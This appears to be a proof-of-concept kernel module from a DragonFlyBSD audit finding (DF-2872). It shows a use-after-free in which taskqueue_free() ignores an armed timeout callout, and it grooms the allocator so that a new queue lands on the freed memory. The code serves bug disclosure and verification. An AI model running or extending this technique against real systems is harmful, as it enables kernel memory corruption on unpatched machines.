DragonFlyBSD Kernel Audit
DF-2872 / tqto.c
← back to finding ↓ download raw
/*
 * DF-2872 PoC: taskqueue_free() ignores armed timeout callouts.
 *
 * taskqueue_free() never checks queue->tq_callouts (the counter is
 * write-only in the whole file).  If a queue is freed while a
 * timeout_task callout is armed, the callout fires later and
 * taskqueue_timeout_func() dereferences timeout_task->t.ta_queue,
 * which points at the FREED queue: it takes the freed queue's spinlock,
 * decrements its tq_callouts and STAILQ-inserts the task into the
 * freed (and here: reallocated, LIVE) queue.
 *
 * This harness arms a 5-tick callout, frees the queue, then forces a
 * new taskqueue to alias the freed memory.  The stray callout then
 * enqueues the timeout task onto the NEW LIVE queue, which runs it --
 * decisive proof of use-after-free with cross-object corruption.
 *
 * Build: make
 * Run:   kldload ./tqto.ko
 * Watch: "tqto: q1 freed", "tqto: q2 ... alias YES", then
 *        "tqto: TIMEOUT TASK RAN ON REALIASED (FREED) QUEUE" <- the bug.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/kthread.h>
#include <sys/malloc.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/taskqueue.h>
#include <sys/thread.h>
#include <sys/conf.h>
#include <sys/module.h>

static struct taskqueue *q1;
static struct taskqueue *q2;
static struct timeout_task tt;
static volatile int tt_runs;
static volatile int tt_reported;

static void
tt_func(void *arg, int pending)
{
	tt_runs++;
	kprintf("tqto: TIMEOUT TASK RAN (run %d) on queue %p "
	    "(q1 was %p, q2 is %p)%s\n",
	    tt_runs, tt.t.ta_queue, q1, q2,
	    (void *)tt.t.ta_queue == (void *)q2 && q2 != NULL ?
	    "  <== REALIASED (FREED) QUEUE: UAF CONFIRMED" : "");
	tt_reported = 1;
}

static void
tqto_ctrl(void *arg)
{
	int i, error;

	kprintf("tqto: step0 ctrl running\n");
	q1 = taskqueue_create("tqto1", M_WAITOK,
	    taskqueue_thread_enqueue, &q1);
	kprintf("tqto: step1 q1=%p\n", q1);
	error = taskqueue_start_threads(&q1, 1, TDPRI_KERN_DAEMON, -1, "tqto1");
	kprintf("tqto: step2 threads %d\n", error);

	TIMEOUT_TASK_INIT(q1, &tt, 0, tt_func, NULL);
	error = taskqueue_enqueue_timeout(q1, &tt, 5);
	kprintf("tqto: step3 armed 5-tick callout (res %d); freeing q1 "
	    "WITHOUT cancel_timeout\n", error);

	/* queue->tq_callouts == 1 here; taskqueue_free never looks at it */
	taskqueue_free(q1);
	kprintf("tqto: step4 q1 FREED while callout armed; reallocating...\n");

	/* force a new taskqueue to land on q1's freed memory (same zone,
	 * same size, objcache LIFO) */
	q2 = NULL;
	for (i = 0; i < 256; i++) {
		q2 = taskqueue_create("tqto2", M_WAITOK,
		    taskqueue_thread_enqueue, &q2);
		if ((void *)q2 == (void *)q1)
			break;
		taskqueue_free(q2);
		q2 = NULL;
	}
	kprintf("tqto: step5 alias loop done i=%d q2=%p\n", i, q2);
	if (q2 == NULL) {
		kprintf("tqto: could not force alias; stray callout will hit "
		    "unmapped freed memory instead\n");
		kthread_exit();
	}
	kprintf("tqto: q2=%p alias of freed q1: YES\n", q2);
	error = taskqueue_start_threads(&q2, 1, TDPRI_KERN_DAEMON, -1, "tqto2");
	kprintf("tqto: q2 threads %d; waiting for stray callout...\n", error);

	/* wait up to 5s for the armed callout to fire into q2 */
	for (i = 0; i < 50 && !tt_reported; i++)
		tsleep(&tt_reported, 0, "tqtow", hz / 10);

	if (tt_runs == 0) {
		kprintf("tqto: callout did not run in 5s?!\n");
	} else {
		kprintf("tqto: RESULT: armed callout fired AFTER "
		    "taskqueue_free and executed on the reallocated queue\n");
	}

	/* cleanup so module stays unloadable-safe */
	taskqueue_drain_timeout(q2, &tt);
	taskqueue_free(q2);
	kthread_exit();
}

static int
tqto_ev(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kthread_create(tqto_ctrl, NULL, NULL, "tqtoctrl");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(tqto, tqto_ev, NULL);